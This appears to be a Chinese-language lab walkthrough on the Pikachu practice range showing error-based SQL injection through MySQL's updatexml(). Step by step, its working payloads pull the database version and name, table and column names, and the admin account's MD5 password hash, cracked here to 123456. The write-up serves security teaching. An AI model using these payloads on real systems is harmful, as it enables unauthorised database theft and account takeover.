基于函数报错的方式来进行利用-字符型(本页updatexml())
前提条件是后台数据库没有屏蔽数据库语法报错信息
updatexml()方法详解
注释:
第一个参数,意思就是xml文档的名称
第二个参数,意思就是定位到xml文档中指定的某一个位置的更新
第三个参数,意思就是将文档中指定某一个位置的内容进行替换
基于函数报错的payload语句:updatexml()
kobe' and updatexml(1,version(),0)#
发现报错显示一半’.53’
~(波浪线转化十六进制为:0x7e)
函数concat()意思为:括号里面的字符串进行拼接,为了将报错显示全面
limit 0,1 意思为:第一个数据为第几个,第二数字为显示多少行
编写payload语句进行爆出数据库版本
kobe' and updatexml(1,concat(0x7e,version()),0)#
爆出数据库版本
爆出数据库名
kobe' and updatexml(1,concat(0x7e,database()),0)#
显示结果,库名:pikachu
报错只能一次显示一行
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu')),0)#
报错结果如下
可以使用limit一次一次进行获取表名
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu' limit 0,1)),0)#
获取users表名
获取表名之后,在获取列名,思路一致
kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),0)#
获取出用户名字段
获取密码字段
获取到列名称后,在来获取数据
kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
获取到高级用户权限admin
再来获取密码
kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#
获取密码md5值,可以解析出来密码为:123456
获取权限完毕